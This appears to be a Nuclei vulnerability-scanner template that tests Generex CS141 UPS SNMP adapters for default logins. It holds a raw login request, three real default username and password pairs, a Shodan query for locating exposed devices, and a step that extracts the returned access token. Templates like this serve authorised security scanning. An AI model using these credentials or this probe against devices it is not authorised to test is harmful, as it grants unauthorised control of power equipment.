id: cs141-default-login

info:
  name: UPS Adapter CS141 SNMP Module Default Login
  author: socketz
  severity: medium
  description: UPS Adapter CS141 SNMP Module default login credentials were discovered.
  reference:
    - https://www.generex.de/media/pages/packages/documents/manuals/f65348d5b6-1628841637/manual_CS141_en.pdf
  classification:
    cwe-id: CWE-798
  metadata:
    max-request: 3
    shodan-query: http.html:"CS141"
  tags: hiawatha,iot,default-login

http:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: application/json

        {"userName":"{{user}}","password":"{{pass}}"}

    attack: pitchfork
    payloads:
      user:
        - admin
        - engineer
        - guest
      pass:
        - cs141-snmp
        - engineer
        - guest
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'accessToken'
          - 'application/json'
        condition: and
        part: header

      - type: status
        status:
          - 200

    extractors:
      - type: kval
        kval:
          - accessToken

# digest: 4a0a00473045022100d7669b05e2b655bf42189bd5a1f1c6d312b55ef0f2226d74125a06af7716cb4c02200e5bbd064a3fa4485e6a2e29f0df4dae44e75252a08137974489591ca8e284c5:922c64590222798bb761d5b6d8e72950
